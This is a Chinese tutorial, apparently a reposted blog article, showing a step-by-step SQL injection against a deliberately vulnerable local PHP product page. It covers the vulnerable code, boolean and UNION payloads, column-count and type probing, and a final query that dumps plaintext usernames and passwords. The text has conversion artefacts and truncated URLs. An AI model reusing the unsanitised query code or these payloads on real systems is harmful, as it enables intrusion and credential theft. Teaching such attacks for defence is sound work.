一个PHP的SQL注入完整过程

2021年09月16日 阅读数:3
这篇文章主要向大家介绍一个PHP的SQL注入完整过程,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

本篇文章介绍的内容是一个PHP的SQL注入完整过程,如今分享给你们,有须要的朋友能够参考一下php

但愿帮助到你们,不少PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提高,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货须要的能够免费分享给你们,须要的能够加入个人官方群点击此处。mysql

学了SQL注入的一些技能后,如下正对PHP+MYSQL进行SQL注入的简单实践laravel

首先观察两个MYSQL数据表sql

用户记录表:shell

REATE TABLE `php_user` (

`id` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default '',

`password` varchar(20) NOT NULL default '',

`userlevel` char(2) NOT NULL default '0',

PRIMARY KEY (`id`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');

INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
产品记录列表:

CREATE TABLE `php_product` (

`id` int(11) NOT NULL auto_increment,

`name` varchar(100) NOT NULL default '',

`price` float NOT NULL default '0',

`img` varchar(200) NOT NULL default '',

PRIMARY KEY (`id`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');

INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');
 

如下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞数据库

<?php

$conn = mysql_connect("localhost", "root", "root");

if(!$conn){

echo "数据库联接错误";

exit;

}

if (!mysql_select_db("phpsql")) {

echo "选择数据库出错" . mysql_error();

exit;

}

$tempID=$_GET['id'];

if($tempID<=0 || !isset($tempID)) $tempID=1;

$sql = "SELECT * FROM php_product WHERE id =$tempID";

echo $sql.'<br>';

$result = mysql_query($sql);

if (!$result) {

echo "查询出错" . mysql_error();

exit;

}

if (mysql_num_rows($result) == 0) {

echo "没有查询结果";

exit;

}

while ($row = mysql_fetch_assoc($result)) {

echo 'ID:'.$row["id"].'<br>';

echo 'name:'.$row["name"].'<br>';

echo 'price:'.$row["price"].'<br>';

echo 'image:'.$row["img"].'<br>';

}

?>

观察此语句:$sql = "SELECT * FROM php_product WHERE id =$tempID";segmentfault

$tempID是从$_GET获得。咱们能够构造这个变量的值,从而达到SQL注入的目的服务器

分别构造如下连接:架构

一、 http://localhost/phpsql/index...并发

获得如下输出

SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句

//获得ID为1的产品资料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

二、 http://localhost/phpsql/index... or 1=1

获得输出


SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句
//一共两条产品资料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:2

name:name_2

price:35.25

image:images/name_2.jpg

1和2都获得资料列表输出,证实SQL语句执行成功

三、判断数据表字段数量

http://localhost/phpsql/index... union select 1,1,1,1

获得输出

SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句
//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:1

name:1

price:1

image:1

四、判断数据表字段类型

http://localhost/phpsql/index... union select char(65),char(65),char(65),char(65)

获得输出

SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)
ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:0

name:A

price:0

image:A

注意第二条记录,若是后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面

为char(65),表示字符串类型。通过观察。能够发现name字段和image字段的类型都是字符串类型

五、大功告成,获得咱们想要的东西:

http://localhost/phpsql/index... union select 1,username,1,password from php_user

获得输出:

SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

//输出了两条用户资料,name为用户名称,image为用户密码。

ID:1

name:seven

price:1

image:seven_pwd

ID:1

name:swons

price:1

image:swons_pwd

注意URL中的ID=10000是为了避免获得产品资料,只获得后面union的查询结果。更具实际状况ID的值有所不一样

union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询

语句的特色

备注:

这个简单的注入方法是更具特定环境的。实际中比这复杂。可是原理是相同的。